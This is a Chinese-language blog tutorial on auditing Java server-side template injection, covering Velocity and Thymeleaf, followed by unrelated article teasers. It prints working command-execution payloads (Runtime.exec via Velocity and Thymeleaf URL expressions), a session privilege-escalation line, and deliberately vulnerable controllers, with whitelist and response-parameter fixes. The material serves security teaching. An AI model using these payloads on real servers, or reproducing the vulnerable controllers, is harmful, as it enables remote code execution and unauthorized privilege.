【Java代码审计】SSTI模板注入篇

news2024/11/25 14:37:29

【Java代码审计】SSTI模板注入篇

  • 1.概述
  • 2.Velocity 模板引擎
  • 3.Thymeleaf 模板注入复现
    • 普通
    • url作为视图
  • 4.SSTI 漏洞修复
    • 白名单控制跳转模版
    • 设置response参数

1.概述

模板引擎支持使用静态模板文件,在运行时用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。当前广泛应用的模板引擎有 Smarty、Twig、Jinja2、FreeMarker 及 Velocity 等。若攻击者可以完全控制输入模板的指令,并且模板能够在服务器端被成功地进行解析,则会造成模板注入漏洞

SSTI 漏洞的危害有:任意代码执行,获取 SHELL, 破坏服务器完整性等


2.Velocity 模板引擎

在 Java 中有以下这些常见的模板引擎:XMLTemplate、Velocity、CommonTemplate、
FreeMarker、Smarty4j、TemplateEngine 等,Velocity 在 Java 中使用较多

在 Velocity 中我们以"#"来标识 Velocity 的脚本语句,比如#set、#if、#else、#end、#foreach、#iinclude、#parse

例如:

#if($msg.img)
<img src="$msg.img" border=0> 
#else
<img src="qccp.jpg">
#end

"$"在 Velocity 中可以用来标识一个对象。根据 SpEL 表达式注入的知识,我们知道一旦可以调用对象,便有办法构造命令执行语句

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec()

在 Velocity 模板注入中,如果无法进行命令执行,那么我们往往可以通过修改 Cookie
来进行特权升级,例如:

$session.setAttribute("IS_ADMIN","1")

在漏洞不存在回显的情况下,并且容器为 Tomcat7 时,可以通过下面这种方法来构造一个拥有回显的命令执行:

#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read())) 
#end

3.Thymeleaf 模板注入复现

普通

漏洞代码:

public String thymeleafVul(@RequestParam String lang) {
    // 模版文件参数可控
    return "lang/" + lang;
}

触发payload:

http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27open%20-a%20Calculator%27).getInputStream()).next()%7d__::.x

成功RCE:

在这里插入图片描述

url作为视图

漏洞代码:

@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {
    log.info("[vul] SSTI payload: " + document);
}

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析,在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞

触发payload:

http://127.0.0.1:8888/SSTI/doc/vul/__$%7BT(java.lang.Runtime).getRuntime().exec('open%20-a%20Calculator')%7D__::.x

成功RCE:

在这里插入图片描述


4.SSTI 漏洞修复

要修复 SSTI 漏洞的话,应避免用户能够直接控制模板的输入并对其进行过滤。如需要向用户公开模板编辑,则可以选择无逻辑的模板引擎,如 Handlebars 、Moustache 等

白名单控制跳转模版

public String thymeleafSafe(@RequestParam String lang) {
    List<String> white_list = new ArrayList<String>();
    white_list.add("en");
    white_list.add("zh");

    if (white_list.contains(lang)) {
        return "lang/" + lang;
    } else {
        return "commons/401";
    }
}

此时,白名单外的输入将被拦截:

在这里插入图片描述

设置response参数

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

@GetMapping("/doc/safe/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("[safe] SSTI payload: " + document);
}

此时,再次触发payload,已经无法RCE:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1563571.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝桥杯刷题第六天(昨天忘记发了)

今天想从不一样的角度来解题&#xff1a;从时间紧张暴力求解到思路阔达直接通过所有案例 暴力方法&#xff1a; 思路第一眼看到这个问题我就想到了第一个思路就是先用两个数组一个存石子数一个存颜色状态&#xff0c;每次遍历一遍看看有没有相邻石子颜色一样且为和最小的。 im…

如何整合当地商家资源?如何进行二次变现?

随着市场竞争的日益激烈&#xff0c;商家们纷纷寻求创新的营销方式来扩大市场份额、提升品牌影响力。异业联盟作为一种新型的商业合作模式&#xff0c;正逐渐受到业界的关注和认可。本文将探讨异业联盟的可行性&#xff0c;并分析其是否可以通过小程序形式实现更广泛的应用。 一…

zip解压异常java.lang.IllegalArgumentException: MALFORMED处理

使用hutool解压zip包时出错&#xff1a; //压缩包解压到固定目录 ZipUtil.unzip(tempZipFile,dir);在解压文件的时候报错&#xff0c;原因是压缩文件中有中文&#xff1b;导致错误&#xff0c;解决办法是设置编码&#xff1a; ZipFile tempZipFile new ZipFile(zipFile, Cha…

h5 笔记1

Internet是InternationalNetwork的缩写&#xff0c;又称“因特网”。它是将全世界数以千计的上网设备通过TCP/IP通信协议连接在一起。Internet上的服务众多&#xff0c;主要的服务有WWW(万维网)、E-Mail(电子邮件)、FTP(FileTransferProtocol&#xff0c;文件传输协议)、Telnet…

Ps:颜色查找

颜色查找 Color Lookup命令通过应用预设的 LUT 来改变图像的色彩和调性&#xff0c;从而为摄影师和设计师提供了一种快速实现复杂色彩调整的方法&#xff0c;广泛应用于颜色分级、视觉风格的统一和创意色彩效果的制作。 Ps菜单&#xff1a;图像/调整/颜色查找 Adjustments/Colo…

微信小程序-文字转语音(播放及暂停)

1、使用微信小程序的同声传译功能 小程序平台-设置-第三方设置-插件管理-新增同声传译插件 小程序app.json文件配置 "plugins": {"WechatSI": {"version": "0.3.5","provider": "wx069ba97219f66d99"}},小程序中…

python生物信息多组学大数据深度挖掘与论文整理技巧技术应用

生物信息广泛涵盖基因组学、蛋白组学、系统生物学、表观遗传、非编码等前沿领域以及药物设 计、基因工程等应用领域。与传统的理论和实验学科不同&#xff0c;生物信息是一门数据科学&#xff0c;这就需要从业 者具备一定数据收集、管理、处理和分析的能力。在海量的组学数据面…

一文搞懂:Java项目线上故障处理和调优的基本方法

一. 调优和故障处理的方向 Java调优通常指的是对Java应用程序进行性能优化和资源管理的过程。调优的方向很多也很广&#xff0c;比如&#xff1a; 内存管理&#xff1a;优化Java应用程序的内存使用&#xff0c;包括减少内存泄漏、合理设置堆大小、优化垃圾收集器的选择和参数…

PyQt qrc2py 使用PowerShell将qrc文件转为py文件并且将导入模块PyQt或PySide转换为qtpy模块开箱即用

前言 由于需要使用不同的qt环境&#xff08;PySide&#xff0c;PyQt&#xff09;所以写了这个脚本&#xff0c;使用找到的随便一个rcc命令去转换qrc文件&#xff0c;然后将导入模块换成qtpy这个通用库(支持pyside2-6&#xff0c;pyqt5-6)&#xff0c;老版本的是Qt.py(支持pysi…

力扣Lc26--- 1108. IP 地址无效化(java版)-2024年4月02日

1.题目描述 2.知识点 注1&#xff1a;首先&#xff0c;在Java中&#xff0c;字符类型应该使用单引号’&#xff0c;而不是双引号"。其次&#xff0c;修改字符数组中的元素应该使用单引号。 注2&#xff1a;String类的replace方法用于在字符串中替换指定的字符或字符序列。…

OpenHarmony实战:RK3568 开发板镜像烧录指南

前言 烧录开发板是每个开发者的必修课&#xff0c;每次对系统的修改务必进行烧录测试&#xff0c;确保修改正确和不会引入新问题。 本文基于 Windows10&#xff0c;以 RK3568 开发板为例&#xff0c;指导如何烧录 OpenHarmony 镜像&#xff0c;镜像也叫固件。Hihoop&#xff…

芒果YOLOv5改进89:卷积SPConv篇,即插即用,去除特征图中的冗余,FLOPs 和参数急剧下降,提升小目标检测

芒果专栏 基于 SPConv 的改进结构,改进源码教程 | 详情如下🥇 👉1. SPConv 结构、👉2. CfSPConv 结构 💡本博客 改进源代码改进 适用于 YOLOv5 按步骤操作运行改进后的代码即可 即插即用 结构。博客 包括改进所需的 核心结构代码 文件 YOLOv5改进专栏完整目录链接:…

day10 类的构造器 权限修饰符

目录 构造器 类的成员之构造器 调用其他构造器 idea构造器创建快捷方式 权限修饰符 构造器 类的成员之构造器 类的成员-属性 &#xff1a;用来对对象进行说明&#xff08;保存对象的状态&#xff09; 类的成员-方法 &#xff1a;用来实现具体的功能 类的成员-构造器 &…

Docker部署Nexus Maven私服并且实现远程访问Nexus界面

目录 ⛳️推荐 1. Docker安装Nexus 2. 本地访问Nexus 3. Linux安装Cpolar 4. 配置Nexus界面公网地址 5. 远程访问 Nexus界面 6. 固定Nexus公网地址 7. 固定地址访问Nexus ⛳️推荐 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&am…

毕马威:《智慧之眼:开启汽车感知新时代》

在全球科技飞速发展和产业革新的大潮中&#xff0c;汽车产业正在以前所未有的速度向网联化、智能化的方向转型。汽车传感器作为智能联网汽车发展的关键环节之一&#xff0c;扮演着举足轻重的角色。 毕马威一直关注汽车产业的变化与发展&#xff0c;为了更好地为汽车行业赋能&a…

基于vue实现动态table

1、代码 <div style"height: 600px; overflow: scroll;"> <!-- height: 600px; overflow: scroll;作用是超出页面可以滑动 --><div ng-repeat"row in entity.procedureList"><cb-title title"工序{{row.procedireLocation}}&quo…

空窗期并非求职大忌!测试人这么回答轻松拿到offer!

为啥今天想起这个话题呢&#xff0c;因为我之前有过这样的经历&#xff0c;且身边的小伙伴也频频遇到面试官来这么个灵魂拷问&#xff0c;所以觉得这点其实还挺重要的&#xff0c;特来分享一下我的应对之策。 既然问题出来了&#xff0c;我们就要弄懂它的来龙去脉&#xff0c;…

[mmu/cache]-ARM MMU的学习笔记-一篇就够了

快速链接: 【精选】ARMv8/ARMv9架构入门到精通-[目录] &#x1f448;&#x1f448;&#x1f448; ARMV8-aarch64的MMU 1、MMU概念介绍 MMU分为两个部分: TLB maintenance 和 address translation MMU的作用&#xff0c;主要是完成地址的翻译&#xff0c;无论是main-memory地…

Node.js-知识点学习总结归纳

Node.js-知识点学习总结归纳 安装nodenode运行方式通过Node.js直接运行js文件&#xff08;也就不用通过网页html了&#xff09;绝对路径调用:相对路径调用&#xff1a;直接运行js命令&#xff1a; Vscode控制台使用node运行js文件 安装node 这个就不用讲了吧&#xff0c;网上搜…

mac mini m1芯片 Xcode 15.3 各种报错的问题

错误一&#xff1a; /Users/mac/Desktop/Test_project/mobile-ios/Test/Test-Bridging-Header.h:4:9 failed to emit precompiled header /Users/mac/Library/Developer/Xcode/DerivedData/App-apvcgkuclncgfqdlzqcoffyaexos/Build/Intermediates.noindex/PrecompiledHeaders/…